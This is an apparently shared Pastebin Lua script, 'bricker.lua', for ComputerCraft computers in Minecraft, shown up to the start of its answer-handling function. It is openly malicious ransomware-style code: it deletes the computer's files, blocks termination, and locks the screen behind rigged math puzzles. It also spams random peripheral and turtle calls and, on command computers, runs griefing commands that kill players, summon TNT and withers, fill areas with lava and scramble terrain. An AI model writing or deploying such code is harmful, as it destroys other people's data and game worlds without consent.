t8rt0t

bricker.lua

Apr 29th, 2024 (edited)
202
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 36.30 KB | None | 0 0
  1. local problems_to_solve = 100
  2. local maxX,maxY = term.getSize()
  3. local cMaxX,cMaxY = term.getSize()
  4. local current = term.current()
  5.  
  6. --Dont use because we rely on a couple apis, such as term
  7. local function destroyAPIS()
  8.     for k,v in pairs(fs.list("/rom/apis/")) do
  9.         if not fs.isDir("/rom/apis/"..v) and v ~= "fs" then
  10.             pcall(function() os.unloadAPI(_G[v]) end)
  11.         end
  12.     end
  13.     pcall(function() os.unloadAPI(fs) end)
  14.     while true do
  15.         e = os.pullEventRaw()
  16.         if e == "terminate" then
  17.             print("nice try :)")
  18.         end
  19.     end
  20. end
  21.  
  22. --Definitely use this one :D
  23. local function griefFiles()
  24.     for k,v in pairs(fs.list("/")) do
  25.         if v ~= "startup.lua" and v ~= "rom" then
  26.             pcall(function() fs.delete(v) end)
  27.         end
  28.     end
  29. end
  30.  
  31. function Matrix(arg1,arg2)
  32.     local matrix = { {1,0},{0,1} } --Default matrix is I2
  33.     if type(arg1) == "table" and type(arg1[1]) == "table" then --If 2d table provided, use this
  34.         matrix = {}
  35.         for k,v in ipairs(arg1) do
  36.             matrix[k] = {}
  37.             if type(v) ~= "table" then v = {} end
  38.             for j,w in ipairs(v) do
  39.                 matrix[k][j] = tonumber(w)
  40.             end
  41.         end
  42.     elseif tonumber(arg1) and tonumber(arg2) then --If 2 dimensions provided, fill in with 0s
  43.         matrix = {}
  44.         for i=1,tonumber(arg1) do
  45.             matrix[i] = {}
  46.             for j=1,tonumber(arg2) do
  47.                 matrix[i][j] = 0
  48.             end
  49.         end
  50.     elseif tonumber(arg1) then --If only 1 dimension provided, create the identity matrix
  51.         matrix = {}
  52.         for i=1,tonumber(arg1) do
  53.             matrix[i] = {}
  54.             for j=1,tonumber(arg1) do
  55.                 if j == i then matrix[i][j] = 1 else matrix[i][j] = 0 end
  56.             end
  57.         end
  58.     end
  59.     local m = {matrix=matrix}
  60.     function m:display()
  61.         --term.clear()
  62.         --term.setCursorPos(1,1)
  63.         local x,y = term.getCursorPos()
  64.         for k,v in ipairs(self.matrix) do
  65.             term.setCursorPos(x,y+k-1)
  66.             for j,w in ipairs(v) do
  67.                 term.write(w .. " ")
  68.             end
  69.         end
  70.     end
  71.     function m:transpose(replace)
  72.         local n = {}
  73.         for k,v in ipairs(self.matrix) do
  74.             for j,w in ipairs(v) do
  75.                 if not n[j] then n[j] = {} end
  76.                 n[j][k] = w
  77.             end
  78.         end
  79.         if replace then self.matrix = n end
  80.         return n
  81.     end
  82.     --Matrix {1,2} {3,4} -> {3,4} {1,2}
  83.     function m:reflectX(replace)
  84.         local n = {}
  85.         for i=1,#self.matrix do
  86.             n[#self.matrix - i + 1] = self.matrix[i]
  87.         end
  88.         if replace then self.matrix = n end
  89.         return n
  90.     end
  91.     function m:reflectY(replace)
  92.         local n = {}
  93.         for i=1,#self.matrix do
  94.             n[i] = {}
  95.             for j=1,#self.matrix[i] do
  96.                 n[#self.matrix[i] - j + 1] = self.matrix[i][j]
  97.             end
  98.         end
  99.         if replace then self.matrix = n end
  100.         return n
  101.     end
  102.     function m:rotate(amt,replace)
  103.         amt = math.floor(tonumber(amt) or 1)%4
  104.         local n = {}
  105.         local function transform(x,y,w,h,amt)
  106.             if amt <= 0 then return x,y
  107.             --if amt <= 1 then return y, h - x + 1
  108.             else return transform(y, h-x+1, h, w, amt - 1) end
  109.         end
  110.         for x,v in ipairs(self.matrix) do
  111.             for y,w in ipairs(v) do
  112.                 local X,Y = transform(x,y,#v,#self.matrix,amt)
  113.                 if not n[X] then n[X] = {} end
  114.                 n[X][Y] = w
  115.             end
  116.         end
  117.         if replace then self.matrix = n end
  118.         return n
  119.     end
  120.     function m:mul(other)
  121.         if type(other) ~= "table" and type(other) ~= "number" then return false,"invalid args" end
  122.         if type(other) == "table" and not other.matrix and type(other[1]) ~= "table" then --Case when matrix multiply by vector
  123.             if #other ~= #self.matrix[1] then return false, "vector dims incorrect" end --Invalid matrix dims
  124.             local res = {}
  125.             for i=1, #self.matrix do
  126.                 local sum = 0
  127.                 for j = 1, #other do
  128.                     sum = sum + other[j] * self.matrix[i][j]
  129.                 end
  130.                 res[i] = sum
  131.             end
  132.             return res
  133.         end
  134.         if tonumber(other) then
  135.             local result = {}
  136.             for k,v in ipairs(self.matrix) do
  137.                 result[k] = {}
  138.                 for j,w in ipairs(v) do
  139.                     result[k][j] = w * tonumber(other)
  140.                 end
  141.             end
  142.             return Matrix(result)
  143.         end
  144.         if not other.matrix then other = Matrix(other) end --If other is not a matrix, then convert it into one
  145.         if #other.matrix ~= #self.matrix[1] then return false,"matrix dims incorrect" end --Cannot multiply the matrices
  146.         other:transpose(true) --easier to extract vectors from transposed matrix
  147.         local result = {}
  148.         for i=1,#other.matrix do
  149.             result[i] = self:mul(other.matrix[i]) --Multiply by the "vertical" vector of the original other matrix
  150.         end
  151.         result = Matrix(result)
  152.         other:transpose(true)
  153.         result:transpose(true)--Undoing the transpose
  154.         return result
  155.     end
  156.     function m:popV(row,col) --Used for determinant before I realized recursion is a bad way to do determinants
  157.         local res = {}
  158.         for k,v in ipairs(self.matrix) do
  159.             if k ~= row then
  160.                 local rw = {}
  161.                 for j,w in ipairs(v) do
  162.                     if j ~= col then
  163.                         table.insert(rw,w)
  164.                     end
  165.                 end
  166.                 table.insert(res,rw)
  167.             end
  168.         end
  169.         return res
  170.     end
  171.     function m:equals(other)
  172.         if type(other) == "table" and other.matrix then other = other.matrix end
  173.         if type(other) ~= "table" or type(other[1]) ~= "table" then return false end
  174.         if #other ~= self.matrix or #other[1] ~= self.matrix[1] then return false end
  175.         for k,v in ipairs(other) do
  176.             for j,w in ipairs(v) do
  177.                 if w ~= self.matrix[k][j] then return false end
  178.             end
  179.         end
  180.         return true
  181.     end
  182.     function m:ref(alpha)
  183.         alpha = tonumber(alpha) or 1
  184.         local leading_col = 0
  185.         for i=1,#self.matrix do --Put in echelon form on each row of the matrix
  186.             local leading_row = 0
  187.             while leading_row <= 0 do
  188.                 leading_col = leading_col + 1
  189.                 if leading_col > #self.matrix[1] then break end
  190.                 for j=i,#self.matrix do --Row swap so leading col is working
  191.                     if self.matrix[j][leading_col] ~= 0 then
  192.                         leading_row = j
  193.                         break
  194.                     end
  195.                 end
  196.             end
  197.             if leading_col > #self.matrix[1] then return alpha end --rref finished if everything is all 0s at and below current row
  198.             if leading_row ~= i then --Row swap
  199.                 local temp = self.matrix[i]
  200.                 self.matrix[i] = self.matrix[leading_row]
  201.                 self.matrix[leading_row] = temp
  202.                 alpha = -1 * alpha
  203.             end
  204.             for j=i+1,#self.matrix do --Row addition
  205.                 local const = -1 * (self.matrix[j][leading_col]/self.matrix[i][leading_col])
  206.                 for k = leading_col,#self.matrix[1] do
  207.                     self.matrix[j][k] = self.matrix[j][k] + const * self.matrix[i][k]
  208.                 end
  209.                 --alpha unchanged
  210.             end
  211.             if self.matrix[i][leading_col] ~= 1 then --Row multiplication
  212.                 local const = 1/self.matrix[i][leading_col]
  213.                 alpha = alpha * self.matrix[i][leading_col]
  214.                 for j=leading_col,#self.matrix[1] do
  215.                     self.matrix[i][j] = self.matrix[i][j] * const
  216.                 end
  217.             end
  218.         end
  219.         return alpha
  220.     end
  221.     function m:rref()
  222.         self:ref()
  223.         for i=#self.matrix,1,-1 do --Traverse up backwards above leading columns and backfill
  224.             local leading_col = 0
  225.             for j=1,#self.matrix[i] do
  226.                 if self.matrix[i][j] ~= 0 then
  227.                     leading_col = j
  228.                     break
  229.                 end
  230.             end
  231.             if leading_col > 0 then
  232.                 for j= i-1,1,-1 do --Row additions
  233.                     local const = -1 * self.matrix[j][leading_col]/self.matrix[i][leading_col]
  234.                     for k = 1,#self.matrix[j] do
  235.                         self.matrix[j][k] = self.matrix[j][k] + const * self.matrix[i][k]
  236.                     end
  237.                 end
  238.             end
  239.         end
  240.     end
  241.     function m:trace()
  242.         if #self.matrix ~= #self.matrix[1] then return false end --No trace for non square
  243.         local sum = 0
  244.         for i=1,#self.matrix do
  245.             sum = sum + self.matrix[i][i]
  246.         end
  247.         return sum
  248.     end
  249.     function m:det()
  250.         if #self.matrix ~= #self.matrix[1] then return false end
  251.         local n = Matrix(self.matrix) --copy matrix
  252.         local alpha = n:ref() --diagonalize matrix and compute the product of the dets of the row ops
  253.         local det = 1
  254.         for i=1,#n.matrix do
  255.             det = det * n.matrix[i][i] --Calculate product of diagonals
  256.         end
  257.         return det*alpha
  258.     end
  259.     function m:randomize(lb,ub,replace)
  260.         lb = math.floor(tonumber(lb) or -64)
  261.         ub = math.max(lb,math.floor(tonumber(ub) or 64))
  262.         --limit = math.max(math.floor(tonumber(limit) or 64),1)
  263.         local res = {}
  264.         for k,v in ipairs(self.matrix) do
  265.             res[k] = {}
  266.             for j,w in ipairs(v) do
  267.                 res[k][j] = math.random(lb,ub)
  268.             end
  269.         end
  270.         if replace then self.matrix = res end
  271.         return res
  272.     end
  273.     function m:norm()
  274.         if #m.matrix == 1 then
  275.             local sum = 0
  276.             for k,v in ipairs(m.matrix[1]) do
  277.                 sum = sum + v*v
  278.             end
  279.             return sum
  280.         elseif #m.matrix[1] == 1 then
  281.             local sum = 0
  282.             for k,v in ipairs(m.matrix) do
  283.                 sum = sum + v[1]*v[1]
  284.             end
  285.             return sum
  286.         end
  287.         return false --not vector, and too lazy to do orthonormal bases for matrices
  288.     end
  289.     return m
  290. end
  291.  
  292. local function displayBox(x,y,w,h,txt)
  293.     local box = {
  294.         x=x,
  295.         y=y,
  296.         w=w,
  297.         h=h,
  298.         text=txt
  299.     }
  300.     function box:draw()
  301.         local x,y,w,h = self.x,self.y,self.w,self.h
  302.         if type(x) == "function" then
  303.             x = x()
  304.         end
  305.         if type(y) == "function" then
  306.             y = y()
  307.         end
  308.         if type(w) == "function" then
  309.             w = w()
  310.         end
  311.         if type(h) == "function" then
  312.             h = h()
  313.         end
  314.         local text = self.text
  315.         term.setCursorPos(x,y)
  316.         for j=1,h do
  317.             local newLine = math.min( (string.find(text,"\n") or w),w)--Either newline or width
  318.             local str = string.sub(text,1,newLine)
  319.             str = str:gsub("\n","")
  320.             text = string.sub(text,newLine+1)
  321.             -- local str = string.sub(self.text,(j-1)*w + 1,j*w)
  322.             str = str .. string.rep(" ",w - #str)
  323.             term.write(str)
  324.             term.setCursorPos(x,y + j)
  325.         end
  326.     end
  327.     return box
  328. end
  329.  
  330. --Function = function(self,inputText) return [boolean] isCorrect end
  331. local function Question(data,disp,f)
  332.     local maxX,maxY = term.getSize()
  333.     local blit = {}
  334.     for i=1,maxY - 2 do
  335.         if disp[i] then
  336.             table.insert(blit,{disp[i] .. "\n", string.rep("a",maxX), string.rep("6",maxX) })
  337.         else
  338.             table.insert(blit,{"\n",string.rep("a",maxX),string.rep("6",maxX)})
  339.         end
  340.     end  
  341.     local txt = ""
  342.     for k,v in ipairs(blit) do
  343.         txt = txt .. v[1]
  344.     end
  345.     local q = {
  346.         data = data,
  347.         blit = blit,
  348.         answer = f,
  349.         box = displayBox(1,6,function() return term.getSize() end,#blit,txt),
  350.         txt = txt
  351.     }
  352.     function q:draw()
  353.         return self.box:draw()
  354.     end
  355.     function q:updateText(newTxt)
  356.         if type(newTxt) == "string" then
  357.             self.box.text = newTxt
  358.         end
  359.         os.queueEvent("redraw")
  360.     end
  361.     return q
  362. end
  363.  
  364. local function generateQuestion()
  365.     local questionTypes = {
  366.         "addition",
  367.         "multiplication",
  368.         "division",
  369.         "determinant",
  370.         "matrix_multiplication",
  371.         "rref",
  372.         "SOE", --nyi
  373.         "angle_vectors",
  374.         "guess_number",
  375.         "heads_or_tails"
  376.     }
  377.     local qt = questionTypes[math.random(#questionTypes)]
  378.     if qt == "addition" then
  379.         local a,b = math.random(999999),math.random(999999)
  380.         return Question({a=a,b=b},{"Add:"," " .. a .. "+" .. b},function(self,ans) return tonumber(ans) == self.data.a + self.data.b end)
  381.     elseif qt == "multiplication" then
  382.         local a,b = math.random(999999),math.random(999999)
  383.         return Question({a=a,b=b},{"Multiply:"," " .. a .. "*" .. b},function(self,ans) return tonumber(ans) == self.data.a * self.data.b end)
  384.     elseif qt == "division" then
  385.         local a,b = math.random(999999),math.random(999999)
  386.         return Question({a=a,b=b},{"Divide:"," " .. a .. "/" .. b},
  387.             function(self,ans) return tonumber(ans) and (math.floor(tonumber(ans)*100000) == math.floor(self.data.a/self.data.b*100000)) end)--correct to 5 decimal places because I'm nice like that
  388.     elseif qt == "determinant" then
  389.         local mSize = math.random(3,7)
  390.         local m = Matrix(mSize)
  391.         m:randomize(-999,999,true)
  392.         local disp = {"Take the determinant!"}
  393.         for k,v in ipairs(m.matrix) do
  394.             local str = "|"
  395.             for j,w in ipairs(v) do
  396.                 local tempStr = "" .. w
  397.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  398.                 str = str .. tempStr .. " "
  399.             end
  400.             str = string.sub(str,1,-2) .. "|"
  401.             table.insert(disp,str)
  402.         end
  403.         return Question({det=math.floor(m:det()*100000)},disp,function(self,ans) return math.floor(tonumber(ans)*100000) == self.data.det end)
  404.     elseif qt == "matrix_multiplication" then
  405.         local a,b = math.random(3,7),math.random(3,7)
  406.         local c,d = b,math.random(3,7)
  407.         local m,n = Matrix(a,b),Matrix(c,d)
  408.         m:randomize(-999,999,true)
  409.         n:randomize(-999,999,true)
  410.         local disp = {"Multiply the matrices!"}
  411.         local w = 0
  412.         for k,v in ipairs(m.matrix) do
  413.             local str = "|"
  414.             for j,w in ipairs(v) do
  415.                 local tempStr = "" .. w
  416.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  417.                 str = str .. tempStr .. " "
  418.             end
  419.             str = string.sub(str,1,-2) .. "|"
  420.             w = math.max(w,#str)
  421.             table.insert(disp,str)
  422.         end
  423.         for k,v in ipairs(n.matrix) do
  424.             local str = string.rep(" ",w) .. "|"
  425.             if disp[k+1] then str = disp[k+1] .. "|" end
  426.             for j,w in ipairs(v) do
  427.                 local tempStr = "" .. w
  428.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  429.                 str = str .. tempStr .. " "
  430.             end
  431.             str = string.sub(str,1,-2) .. "|"
  432.             disp[k+1] = str
  433.         end
  434.         return Question({ans=m:mul(n)},disp,function(self,ans) return self.data.ans:equals(textutils.unserialise(ans)) end)
  435.     elseif qt == "rref" then
  436.         local a = math.random(3,7)
  437.         local b = math.random(a,11)
  438.         local m = Matrix(a,b)
  439.         m:randomize(-999,999,true)
  440.         local disp = {"Convert into ref (enter ints)"}
  441.         for k,v in ipairs(m.matrix) do
  442.             local str = "|"
  443.             for j,w in ipairs(v) do
  444.                 local tempStr = "" .. w
  445.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  446.                 str = str .. tempStr .. " "
  447.             end
  448.             str = string.sub(str,1,-2) .. "|"
  449.             table.insert(disp,str)
  450.         end
  451.         m:ref()
  452.         for k,v in ipairs(m.matrix) do
  453.             for j,w in ipairs(v) do
  454.                 m.matrix[k][j] = math.floor(w)
  455.             end
  456.         end
  457.         return Question({ref=m},disp,function(self,ans) return self.data.ref:equals(textutils.unserialise(ans)) end)
  458.     elseif qt == "angle_vectors" then
  459.         local a = math.random(3,7)
  460.         local m,n = Matrix(1,a),Matrix(1,a)
  461.         m:randomize(-999,999,true)
  462.         n:randomize(-999,999,true)
  463.         local disp = {"Find the angle between these vectors!"}
  464.         local w = 0
  465.         for k,v in ipairs(m.matrix) do
  466.             local str = "|"
  467.             for j,w in ipairs(v) do
  468.                 local tempStr = "" .. w
  469.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  470.                 str = str .. tempStr .. " "
  471.             end
  472.             str = string.sub(str,1,-2) .. "|"
  473.             w = math.max(w,#str)
  474.             table.insert(disp,str)
  475.         end
  476.         for k,v in ipairs(n.matrix) do
  477.             local str = string.rep(" ",w) .. "|"
  478.             if disp[k+1] then str = disp[k+1] .. "|" end
  479.             for j,w in ipairs(v) do
  480.                 local tempStr = "" .. w
  481.                 tempStr = tempStr .. string.rep(" ",math.max(4-#tempStr,0))
  482.                 str = str .. tempStr .. " "
  483.             end
  484.             str = string.sub(str,1,-2) .. "|"
  485.             disp[k+1] = str
  486.         end
  487.         local dot = m:mul(n:transpose()).matrix[1]
  488.         local prod = m:norm() * n:norm()
  489.         return Question({ans = math.acos(dot/prod)},disp,function(self,ans) return math.floor(tonumber(ans)*100000) == math.floor(self.data.ans*100000) end)
  490.     elseif qt == "SOE" then
  491.         local m,n = math.random(3,7),math.random(3,7)
  492.         local vars = {"x","y","z","a","b","c","d"}
  493.         local a = Matrix(m,n)
  494.         local x = Matrix(n,1)
  495.         a:randomize(0,99,true)
  496.         x:randomize(-99,99,true)
  497.         local b = a:mul(x)
  498.         local disp = {"Solve the system of equations!","Enter your solution as a table {x=num,y=num...}"}
  499.         for i=1,#a.matrix do
  500.             local str = ""
  501.             for j=1,#a.matrix[i] do
  502.                 if a.matrix[i][j] > 0 and a.matrix[i][j] < 10 then
  503.                     str = str .. " " .. a.matrix[i][j] .. vars[j]
  504.                 elseif a.matrix[i][j] >= 10 then
  505.                     str = str .. a.matrix[i][j] .. vars[j]
  506.                 else
  507.                     str = str .. "  0"
  508.                 end
  509.                 if j ~= #a.matrix[i] then str = str .. " + " end
  510.             end
  511.             str = str .. " = " .. b.matrix[i][1]
  512.             table.insert(disp,str)
  513.         end
  514.         return Question({matrix=a,vec=b,vars=vars},disp,function(self,ans)
  515.                 local data = textutils.unserialise(ans)
  516.                 if type(data) ~= "table" then return false end
  517.                 local vector = {}
  518.                 for k,v in ipairs(self.vars) do
  519.                     local d = tonumber(data[v])
  520.                     if not d then return false end
  521.                     vector[k] = d
  522.                 end
  523.                 local res = self.matrix:mul(Matrix({vector}))
  524.                 if self.vec:equals(res) then return true end
  525.                 return false end)
  526.     elseif qt == "heads_or_tails" then
  527.         return Question("tails",{"heads or tails"},
  528.             function(self,ans)
  529.                 self.answer = function(self,ans)
  530.                     self.data = "heads"
  531.                     if math.random(2) == 2 then self.data = "tails" end
  532.                     return string.lower(ans) == self.data
  533.                 end
  534.                 return false
  535.             end)
  536.     else
  537.         local a = math.random(-99999,99999)
  538.         local disp = {"I am thinking of an integer","between -99999 and 99999","Guess the number to win!"}
  539.         return Question({ans=a},disp,function(self,ans) return tonumber(ans) == self.data.ans end)
  540.     end
  541. end
  542.  
  543. local current_question
  544. pcall(function() current_question = generateQuestion() end)
  545. local answer_box = displayBox(1,function()
  546.         local maxX,maxY = term.getSize()
  547.         return maxY - 4 end,function() return term.getSize() end,5,"")
  548. local question_count = displayBox(function()
  549.         local maxX,maxY = term.getSize()
  550.         return maxX - 4 end,
  551.     5,5,1,"" .. problems_to_solve)
  552.  
  553. local header_blit = {
  554.     "This computer          ",
  555.     "has been bricked!      ",
  556.     "Answer questions to get",
  557.     "access to your files!  ",
  558.     "Questions remaining:   "
  559. }
  560.  
  561. local header_box = displayBox(1,1,23,5,"This computer          " .. "has been bricked!      " .. "Answer questions to get" .. "access to your files!  " .. "Questions remaining:   ")
  562.  
  563. local function ui_recolor(redirect)
  564.     if redirect then pcall(function() term.redirect(redirect) end) end
  565.     term.setPaletteColor(colors.pink,math.random(0xFFFFFF))
  566.     term.setPaletteColor(colors.purple,math.random(0xFFFFFF))
  567.     term.setPaletteColor(colors.magenta,math.random(0xFFFFFF))
  568.     term.setPaletteColor(colors.brown,math.random(0xFFFFFF))
  569.     term.setPaletteColor(colors.black,math.random(0xFFFFFF))
  570.     term.setPaletteColor(colors.white,math.random(0xFFFFFF))
  571.     term.setPaletteColor(colors.gray,math.random(0xFFFFFF))
  572. end
  573. local function ui_redraw(redirect)
  574.     maxX,maxY = term.getSize()
  575.     term.setCursorPos(1,1)
  576.     ui_recolor(redirect)
  577.     term.clear()
  578.     term.setTextColor(colors.pink)
  579.     header_box:draw()
  580.     term.setTextColor(colors.magenta)
  581.     current_question:draw()
  582.     term.setTextColor(colors.brown)
  583.     term.setBackgroundColor(colors.gray)
  584.     answer_box:draw()
  585.     term.setTextColor(colors.black)
  586.     term.setBackgroundColor(colors.white)
  587.     question_count.text = "" .. problems_to_solve
  588.     question_count:draw()
  589. end
  590.  
  591.  
  592.  
  593. --Gets a random value of any type, good for spamming functions and peripherals
  594. --No tables = ban tables
  595. --Nof = no functions
  596. --fType = function type override
  597. --lim = extra chance for nil values
  598. local function getRandValue(noTables,noF,fType,lim)
  599.     if not fType then
  600.         local t = math.random(0,35 + (math.floor(tonumber(lim)) or 0))
  601.         if t < 10 then fType = "string"
  602.         elseif t < 20 then fType = "number"
  603.         elseif t < 25 then fType = "boolean"
  604.         elseif t < 30 then fType = "table"
  605.         elseif t <= 30 then fType = "function"
  606.         end
  607.     else
  608.         noTables = false
  609.         noF = false
  610.     end
  611.     if fType == "string" then
  612.         local len = math.random(256)
  613.         local str = ""
  614.         for i=1,len do
  615.             str = str .. string.char(math.random(256)-1)
  616.         end
  617.         return str
  618.     elseif fType == "number" then
  619.         local float = math.random(2) == 2
  620.         local len = math.random(99999)
  621.         if float then
  622.             return len*math.random()
  623.         else
  624.             return len
  625.         end
  626.     elseif fType == "boolean" then
  627.         return math.random(2) == 2 --boolean
  628.     elseif fType == "table" and not noTables then
  629.         local len = math.random(16)
  630.         local t = {}
  631.         for i=1,len do
  632.             table.insert(t,getRandValue(true))
  633.         end
  634.         return t
  635.     elseif fType == "function" and not noF then
  636.         return function()
  637.             local t = {}
  638.             for i=0,math.random(10) do
  639.                 table.insert(t,getRandValue(false,true))
  640.             end
  641.             return unpack(t)
  642.         end
  643.     elseif fType == "speaker_data" then
  644.         local t = {}
  645.         for i=1,128*1024 do
  646.             t[i] = math.random(-128,127)
  647.         end
  648.         return t
  649.     elseif type(fType) == "table" and fType[1] == "random" then
  650.         if fType[2] == "int" then
  651.             return math.random(tonumber(fType[3]) or 0,tonumber(fType[4]) or 16383)
  652.         elseif fType[2] == "float" then
  653.             local num = math.random()
  654.             local lowLim,uLim = tonumber(fType[3]) or 0, tonumber(fType[4]) or 1
  655.             return lowLim + uLim*num
  656.         elseif fType[2] == "select" and type(fType[3]) == "table" then
  657.             local item = fType[3][math.random(#fType[3])]
  658.             if type(item) == "function" then return item() else return item end --supports recursive now
  659.         elseif fType[2] == "color" then
  660.             return 2^math.random(0,15)
  661.         elseif fType[2] == "command_target" then
  662.             local targets = {"@p","@r","@a","@e","@s","@e[limit=1]"}
  663.             return targets[math.random(#targets)]
  664.         end
  665.     elseif type(fType) == "table" and fType[1] == "literal" then
  666.         return fType[2]
  667.     elseif fType == "resource_location" then
  668.         local str = ""
  669.         for i=1,math.random(3,32) do
  670.             local char = string.char(math.random(0,255))
  671.             if string.match(char,"[%l%_%-]") then str = str .. char end
  672.         end
  673.         return "minecraft:" .. str
  674.     elseif fType == "relative_coord" then
  675.         return "~" .. math.random(-32,32)
  676.     end
  677. end
  678.  
  679.  
  680.  
  681. local method_summaries = {
  682.     sendMessage = {"string","string"}, --Example method summary (also a fun one to spam)
  683.     playAudio = {"speaker_data",{"random","float",1,3}},
  684.     setBackgroundColor = {{"random","color"}},
  685.     setBackgroundColour = {{"random","color"}},
  686.     setPaletteColor = {{"random","color"},{"random","int",0,0xFFFFFF}},
  687.     setPaletteColour = {{"random","color"},{"random","int",0,0xFFFFFF}}
  688. } --List of method summaries for random peripherals
  689. local turtle_methods = {
  690. }
  691. local command_methods,command_calls = nil,{}
  692. if commands then
  693.     local effects = {"minecraft:blindness","minecraft:nausea","minecraft:mining_fatigue","minecraft:slowness","minecraft:darkness","minecraft:levitation","minecraft:wither","minecraft:poison"}
  694.     command_methods = {
  695.         ban={{"random","command_target"},"string"}, --Probably not relevant. I believe the command computer has a permission level of 2, and to ban you need a permission level of 3
  696.         advancement={{"random","select",{"grant","revoke"}},{"random","command_target"},{"literal","everything"}},
  697.         bossbar={{"random","select",{"add","set"}},{"random","int",0,9},{"select",{"color","max","name","value",function() return getRandValue(nil,nil,"string") end}},{"select",{function() return end,function() return getRandValue(nil,nil,{"random","int",0,100}) end,function() return getRandValue(nil,nil,"string") end}}}, --Complicated boss bar thing, no clue if works
  698.         clear={{"random","command_target"}}, --Too much troll?
  699.         damage={{"random","command_target"},{"random","float",0,1023}},
  700.         daylock={"boolean"},
  701.         alwaysday={"boolean"},--Identical commands
  702.         defaultgamemode={{"random","select",{"survival","creative","adventure","spectator"}}},
  703.         difficulty={{"random","select",{"peaceful","easy","normal","hard"}}},
  704.         effect={{"random","select",{"give","clear"}},{"random","command_target"},{"random","select",effects},{"random","select", {"infinite",function() return end,function() return getRandValue(nil,nil,{"random","int",0,99999}) end}}},
  705.         fill={"relative_coord","relative_coord","relative_coord","relative_coord","relative_coord","relative_coord",{"random","select",{"minecraft:barrier","minecraft:bedrock","minecraft:end_portal_frame","minecraft:dragon_egg"}},{"literal","keep"}},
  706.         gamemode={{"random","select",{"survival","creative","adventure","spectator"}},{"random","command_target"}},
  707.         kick={{"random","command_target"},"string"}, --Same problem as ban
  708.         kill={{"random","command_target"}},
  709.         ride={{"random","command_target"},{"literal","mount"},{"random","command_target"}},
  710.         say={"string"},
  711.         setblock={"relative_coord","relative_coord","relative_coord",{"minecraft:barrier","minecraft:bedrock","minecraft:end_portal_frame","minecraft:dragon_egg"},{"literal","keep"}},
  712.         setworldspawn={{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
  713.         spawnpoint={{"random","command_target"},{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
  714.         spectate={{"random","command_target"},{"random","command_target"}},
  715.         spreadplayers={{"random","int",-6942069,6942069},{"random","int",-6942069,6942069},{"literal",0.0},{"random","float",1.0,6942069},{"literal",false},{"random","command_target"}},
  716.         summon={{"random","select",{"minecraft:wither","minecraft:ender_dragon","minecraft:ravager","minecraft:vex","minecraft:tnt"}},{"random","command_target"}},
  717.         time={{"literal","add"},{"random","select",{function() return getRandValue({"random","float"}) .. "d" end}}},
  718.         teleport={{"random","command_target"},{"random","int",-6942069,6942069},{"random","int",-60,310},{"random","int",-6942069,6942069}},
  719.         weather={{"random","select",{"clear","rain","thunder"}},{"random","int",1,99999}},
  720.         worldborder={{"random","select",{"center","set"}},{"random","int",-6942069,6942069},{"random","int",-6942069,6942069}},
  721.         xp={{"random","select",{"add","set"}},{"random","command_target"},{"random","int",0,69420},{"random","select",{"levels","points"}}},
  722.         tnt_troll = {}, --filler for custom commands
  723.         corruption = {},
  724.         lava_spam = {}
  725.     }
  726.     commands.tnt_troll = function() commands.exec("execute at @e at ~ ~ ~ run summon tnt") end
  727.     commands.corruption = function()
  728.         for i=1,100 do
  729.             local x,y,z,dim = "~"..getRandValue({"random","int",-256,256}),"~"..getRandValue({"random","int",-64,64}), "~"..getRandValue({"random","int",-256,256}), getRandValue({"random","select",{"minecraft:overworld","minecraft:the_nether","minecraft:the_end"}})
  730.             local newX,newY,newZ,newDim = "~"..getRandValue({"random","int",-256,256}),"~"..getRandValue({"random","int",-64,64}), "~"..getRandValue({"random","int",-256,256}), getRandValue({"random","select",{"minecraft:overworld","minecraft:the_nether","minecraft:the_end"}})
  731.             local cmd = string.format("from %s %s %s %s %s %s %s to %s %s %s %s",dim,x,y,z,x,y,z,newDim,newX,newY,newZ)
  732.             pcall(function()
  733.                 command.exec("execute in " .. dim .. " forceload ".. x .. " " .. z)
  734.                 command.exec("execute in " .. newDim .. " forceload ".. newX .. " " .. newZ)
  735.                 commands.clone(cmd)
  736.             end)
  737.         end
  738.     end
  739.     commands.lava_spam = function() commands.exec("execute at @e at ~ ~ ~ setblock ~ ~ ~ minecraft:lava") end
  740.     for k,v in pairs(command_methods) do
  741.         table.insert(command_calls,k)
  742.     end
  743. end
  744.  
  745. if type(turtle) == "table" then
  746.     for k,v in pairs(turtle) do
  747.         if type(v) == "function" and k ~= "equipLeft" and k ~= "equipRight" then
  748.             table.insert(turtle_methods,k)
  749.         end
  750.     end
  751. end --Registering turtle methods
  752.  
  753. local function chaos_step()
  754.     local peripherals = peripheral.getNames()
  755.     local name = peripherals[math.random(#peripherals)]
  756.     if not name or peripheral.hasType(name,"monitor") then return false end
  757.     local perip = peripheral.wrap(name)
  758.     local methods = peripheral.getMethods(name)
  759.     if type(methods) ~= "table" then return false end
  760.     local method = methods[math.random(#methods)]
  761.     local args = {}
  762.     if method_summaries[method] then
  763.         for i,v in ipairs(method_summaries[method]) do
  764.             args[i] = getRandValue(false,false,v)
  765.         end
  766.     else
  767.         for i=1,6 do
  768.             args[i] = getRandValue(nil,nil,nil,i*5)
  769.         end
  770.     end
  771.     local success = pcall(function() perip[method](unpack(args)) end)
  772.     if success and not method_summaries[method] then
  773.         method_summaries[method] = {}
  774.         for k,v in ipairs(args) do
  775.             table.insert(method_summaries[method],type(v))
  776.         end
  777.     end
  778. end
  779.  
  780. local function command_step()
  781.     local method = command_calls[math.random(#command_calls)]
  782.     local args = {}
  783.     if command_methods[method] then
  784.         for i,v in ipairs(command_methods[method]) do
  785.             args[i] = getRandValue(false,false,v)
  786.         end
  787.     end
  788.     pcall(function() commands[method](unpack(args)) end)
  789. end
  790.  
  791. local function turtle_spam()
  792.     local method = turtle_methods[math.random(#turtle_methods)]
  793.     pcall(function() turtle[method](math.random(16)) end)
  794. end
  795.  
  796. --wrapper
  797. local function chaos()
  798.     while true do
  799.         sleep(0)
  800.         pcall(chaos_step)
  801.         if turtle then
  802.             pcall(turtle_spam)
  803.         elseif commands then
  804.             pcall(command_step)
  805.         end
  806.     end
  807. end
  808.  
  809. local function answer_question()
